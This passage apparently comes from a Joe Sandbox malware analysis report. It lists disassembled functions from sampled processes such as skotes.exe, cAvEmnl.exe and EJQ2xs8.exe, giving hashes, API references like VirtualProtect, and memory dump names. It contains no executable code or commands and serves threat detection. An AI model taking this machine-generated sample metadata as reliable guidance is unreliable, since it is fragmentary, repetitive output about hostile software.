Instruction ID: 8e610f04b3b503157a5dfdf31322e9f78cb2e908564d3a0f21cc169ecd90229a
Opcode Fuzzy Hash: ea5b876b18ed433da8e813003e8a46e8740f69ef37a39bab34ff90479cf760e0
Instruction Fuzzy Hash: C48134B4E002458FDB15CF68D8847EEBBF2FB9A310F14026AD854A7742C3B5A945DBA0

Function 00FE78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35adec967f1b68a4639316fa74d1812190688ea6ba00710e628e4363e65ab3e0
Instruction ID: 1c79c45f4bbb6772228db00742da402ec1ca10fa1749c346c783c7ff670e16ec
Opcode Fuzzy Hash: 35adec967f1b68a4639316fa74d1812190688ea6ba00710e628e4363e65ab3e0
Instruction Fuzzy Hash: BB21B373F205394B7B0CC47E8C522BDB6E1C78C641745823AE8A6EA2C1D96CD917E2E4

Function 00FE779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c436a0e9e20d444e187ecdbd4c2136b26a6d4ae4d374168a8fedfa2cd0f3cfc9
Instruction ID: 415fe0c78bb0bcf3b06ad6593022f71829be2fbd3cf26205f78c146433e2d14b
Opcode Fuzzy Hash: c436a0e9e20d444e187ecdbd4c2136b26a6d4ae4d374168a8fedfa2cd0f3cfc9
Instruction Fuzzy Hash: 6511A323F30C255A775C816D8C172BAA5D2EBD824071F433AD826E7284E9A4DE23D290

Function 00FE8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 735ee83a025fabefcb75cfee236e1f712921a805bbe7a3e4b77ee609ee4c136b
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 23115E7BE011C143E604AA2FC8B46B7A395EBC53717AC4376C8494B754DA22D743B500

Function 00FD652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e27f5f961e50a9f9edb43c702195d1d31db35c4ff45d2048cd1b4b8f8c57da6
Instruction ID: 6ac03095f2f0e62447a561e929ff814faeb75f89bd3350498fd87f37d4378d9f
Opcode Fuzzy Hash: 4e27f5f961e50a9f9edb43c702195d1d31db35c4ff45d2048cd1b4b8f8c57da6
Instruction Fuzzy Hash: F8E08C30141208AACF267F58DC0EE483B6BFB91751F4C1811F9088A375CB2ADED2E680

Function 00FDA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 5e848596cb5478f0ada334cd8a5f19d64c87698314699ca8656bc8c9d2275ce9
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 35E08C32921228EBCB15DF98C90498AF3EEEB49B10B690097F501D3250C274DE00D7D4

Function 00FA2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00FA2F5F
GetCurrentThreadId.KERNEL32 ref: 00FA2F7E
__Mtx_unlock.LIBCPMT ref: 00FA2FCC
__Cnd_broadcast.LIBCPMT ref: 00FA2FE3
__Mtx_unlock.LIBCPMT ref: 00FA30F5
GetCurrentThreadId.KERNEL32 ref: 00FA3132
__Mtx_unlock.LIBCPMT ref: 00FA319B

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: c67ffdf61a016087883c5f1b34166193e0fbbd4ec81a5bc13014c92a036d8e50
Instruction ID: ee0ceda14508eb10ca45b97e79cef2c9387bc854fb85fdfe4d3861afb2c5bcf5
Opcode Fuzzy Hash: c67ffdf61a016087883c5f1b34166193e0fbbd4ec81a5bc13014c92a036d8e50
Instruction Fuzzy Hash: 14A1C0B1E012059FEB20DF65CC45B9AB7A8FF16324F148129F815D7241EB39EA04EBD1

Function 00FD4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00FD4877
___except_validate_context_record.LIBVCRUNTIME ref: 00FD487F
_ValidateLocalCookies.LIBCMT ref: 00FD4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00FD4933
_ValidateLocalCookies.LIBCMT ref: 00FD4988

Strings

csm, xrefs: 00FD491D

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1f7b1939c1fd34561adcb58d8339d93e70f44adf03184011d9699f97e6482bfa
Instruction ID: 40c3ff33577fc745136335046210463106919878af02bcd22e70cb122ee63f97
Opcode Fuzzy Hash: 1f7b1939c1fd34561adcb58d8339d93e70f44adf03184011d9699f97e6482bfa
Instruction Fuzzy Hash: 2551F831E002489BCF10DF69CC95AAF7BB7AF45324F1C8056E8189B352D736E915EB92

Function 00FDCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FDCC66

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 3c2e1068967a2237eb3ef251b1237f28060393cae65156f4dba69e8bfd19c0e5
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 16B12372D042869FDB11CF68C8817AEBBE7EF45350F18416BE955EB341D6398D02EBA0

Function 00FBBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00FBBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00FBBBE4
_xtime_get.LIBCPMT ref: 00FBBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00FBBC13

Memory Dump Source

Source File: 00000006.00000002.2895241974.0000000000FA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000006.00000002.2895209071.0000000000FA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895241974.0000000001002000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895341143.0000000001009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000100B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.000000000129C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895371803.00000000012B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895781747.00000000012B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895962301.000000000144C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2895991964.000000000144E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fa0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 34ef9d77fe822551f3acbd00f26ccaa7dfbae87d750a926cd83b01a6e80f324a
Instruction ID: 94e4bc6bf39bc5217b7fae82e1e28317c32e829df4ab3f6dd33c9c394e473c95
Opcode Fuzzy Hash: 34ef9d77fe822551f3acbd00f26ccaa7dfbae87d750a926cd83b01a6e80f324a
Instruction Fuzzy Hash: 5621F875E00219AFDF00EFA5DC869FEBBB9AF48710F104065F905A7251DB649D01AFA0

Analysis Process: cAvEmnl.exePID: 5496, Parent PID: 2640COMMON

Execution Graph

Execution Coverage:	17.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9BAC11C8 Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 717
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 00007FFD9BAC17D1

Strings

@, xrefs: 00007FFD9BAC1672

Memory Dump Source

Source File: 00000007.00000002.2897863232.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9bac0000_cAvEmnl.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: cca081a9cba5b96089e5890e1b9c90b97ae82e86e2f37095f58f25bbd44f7ba8
Instruction ID: d1513c23eac8a6af1b9a810ccdd6f55ff7976ad9b747343a09a0b65dfb977a5b
Opcode Fuzzy Hash: cca081a9cba5b96089e5890e1b9c90b97ae82e86e2f37095f58f25bbd44f7ba8
Instruction Fuzzy Hash: F732F130A18B4A8FD35CDF18C491975BBE0FF95310F55427EE09A87692DB74B852CB81

Analysis Process: github.exePID: 7352, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	18.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	21
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFD9BAC10A0 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 801
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9BAC17D1

Strings

@, xrefs: 00007FFD9BAC1672

Memory Dump Source

Source File: 0000000A.00000002.2492067473.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bac0000_github.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: b70002c7b51a4a7a465724b9fc30df20c9b21fb76431adc10c9d8692657e6816
Instruction ID: 76f6ed56c63e30552e3c780cb3c7ce1ebbf1b6f5beab092128940cfb514f4bdf
Opcode Fuzzy Hash: b70002c7b51a4a7a465724b9fc30df20c9b21fb76431adc10c9d8692657e6816
Instruction Fuzzy Hash: FF32F230A18B498FD35CDF58D4A19B5BBE0FF99314F05427EE09A87692DB74B842CB81

Analysis Process: EJQ2xs8.exePID: 7668, Parent PID: 2640COMMON

Executed Functions

Function 05081030 Relevance: 4.2, Strings: 3, Instructions: 490COMMON

Download Yara Rule

Strings

$qq, xrefs: 0508148C
$qq, xrefs: 05081498
$qq, xrefs: 05081472

Memory Dump Source

Source File: 0000000C.00000002.2624084678.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5080000_EJQ2xs8.jbxd

Similarity

API ID:
String ID: $qq$$qq$$qq
API String ID: 0-3876402241
Opcode ID: 850841ecc852f2fb281ce2b1537b1ac6a93a216d402255ac84d153d9905bbde0
Instruction ID: f93d4cecf1d1222d9acedad7c69181f35aa7203764687031bcc8b7eaeb38ef1d
Opcode Fuzzy Hash: 850841ecc852f2fb281ce2b1537b1ac6a93a216d402255ac84d153d9905bbde0
Instruction Fuzzy Hash: FA0262707103199FEB08AB75E868B6E7BE7FF88702F144428E6069B394DE759C418BD1

Function 05080EB0 Relevance: 3.0, Strings: 2, Instructions: 527COMMON

Download Yara Rule

Strings

$qq, xrefs: 0508148C
$qq, xrefs: 05081472

Memory Dump Source

Source File: 0000000C.00000002.2624084678.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5080000_EJQ2xs8.jbxd

Similarity

API ID:
String ID: $qq$$qq
API String ID: 0-1516316326
Opcode ID: 7d8916367afaabc1fe6300bd79fc4db7fcb13fb175e189d65601c2e5fceaed85
Instruction ID: 0e086c2d36f3a221eb01265da81e26b51e40ddcc5da2f541b959ada053414bc5
Opcode Fuzzy Hash: 7d8916367afaabc1fe6300bd79fc4db7fcb13fb175e189d65601c2e5fceaed85
Instruction Fuzzy Hash: C4D172707103198FEB04AB75E868B6E7BA7FF88702F144528D50A9B394DF749C458BD1

Function 05081160 Relevance: 2.8, Strings: 2, Instructions: 281COMMON

Download Yara Rule

Strings

$qq, xrefs: 0508148C
$qq, xrefs: 05081472

Memory Dump Source

Source File: 0000000C.00000002.2624084678.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5080000_EJQ2xs8.jbxd

Similarity

API ID:
String ID: $qq$$qq
API String ID: 0-1516316326
Opcode ID: 9c7a9609e28b229df079fcfae99bac5791eb9691e2f7e7f9d1b16593643fc512
Instruction ID: 658df6878199b95aa5bd174f455f4bdb9605bed58da38d82d825e9d2147954bd
Opcode Fuzzy Hash: 9c7a9609e28b229df079fcfae99bac5791eb9691e2f7e7f9d1b16593643fc512
Instruction Fuzzy Hash: B5A1A1707103198FEB08AB75E864B7E76E7BF88711F248428D90A9B394DF759C428BD1

Function 05080B30 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

LRqq, xrefs: 05080B71

Memory Dump Source

Source File: 0000000C.00000002.2624084678.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5080000_EJQ2xs8.jbxd

Similarity

API ID:
String ID: LRqq
API String ID: 0-2392378202
Opcode ID: 9d5307f99e3ac5d1d1e18f824e2750801c310a0686afdde28632d9091ec8f1ab
Instruction ID: c7ed5efc0c83d96339f4545e7fe5e97c2f19e326dbfd1be455d84ff9fe55f339
Opcode Fuzzy Hash: 9d5307f99e3ac5d1d1e18f824e2750801c310a0686afdde28632d9091ec8f1ab
Instruction Fuzzy Hash: 40313470B042158FDB49EF388964A3EBBF7AFC9204B1884A9D449DB395EE30DD068391

Function 05080B20 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

LRqq, xrefs: 05080B71

Memory Dump Source

Source File: 0000000C.00000002.2624084678.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5080000_EJQ2xs8.jbxd

Similarity

API ID:
String ID: LRqq
API String ID: 0-2392378202
Opcode ID: fff5d05f5e91e390fa4ce1177af10551c343343ac0acfe198cff0bde118fbbd9
Instruction ID: abd41121c717a7b2a68d30a77020a9f2e6a3fbf2db51142ac876d0c3b22d964b
Opcode Fuzzy Hash: fff5d05f5e91e390fa4ce1177af10551c343343ac0acfe198cff0bde118fbbd9
Instruction Fuzzy Hash: BD210370B1011A8FCF48EB789964A7E76E7AFC8304F188478D449EB3A5EE34CD068791

Function 05080A10 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2624084678.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5080000_EJQ2xs8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bdbfda0c562f38965764ee43d52a7c4d898d96cbf6c1598eb5005afa9cc9d81
Instruction ID: 33375d5fb99a39d1abd573569e272ccb1de2c43806463431e8f0ee0a6e92d9ce
Opcode Fuzzy Hash: 9bdbfda0c562f38965764ee43d52a7c4d898d96cbf6c1598eb5005afa9cc9d81
Instruction Fuzzy Hash: C621D5B1B043155FDB48EBBD585836EBADBEFC8261B18442DC60AD7744EE388C0547A1

Function 050808F0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2624084678.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5080000_EJQ2xs8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c1462851a6097f502468c563a615e05a14fc2ee7a36c2c2dff256e18c8c1dc8
Instruction ID: 6b7286136f1fc5ccd3052a7181a62b690905ad42e279ffd82fdd45c54057240f
Opcode Fuzzy Hash: 5c1462851a6097f502468c563a615e05a14fc2ee7a36c2c2dff256e18c8c1dc8
Instruction Fuzzy Hash: F3318F70A10319DFDB00EBB8D8547AEBBB6FF88305F104668D615A7340EB70AA45CB81

Function 05080900 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2624084678.0000000005080000.00000040.00000800.00020000.00000000.sdmp, Offset: 05080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5080000_EJQ2xs8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d1dbbdd988a6fbceff69a5ed5205a75ceb82f5837cbfc6b27343263e0673fb6
Instruction ID: 3af9266270e119b73a33185ee15e2a9719604b80e36360fe14f2edb20ee338f5
Opcode Fuzzy Hash: 5d1dbbdd988a6fbceff69a5ed5205a75ceb82f5837cbfc6b27343263e0673fb6
Instruction Fuzzy Hash: 1D216070A1031DDFDB04EBB8D8546AE7BB7FF88305F104569D505A7300EB71AA45CB91

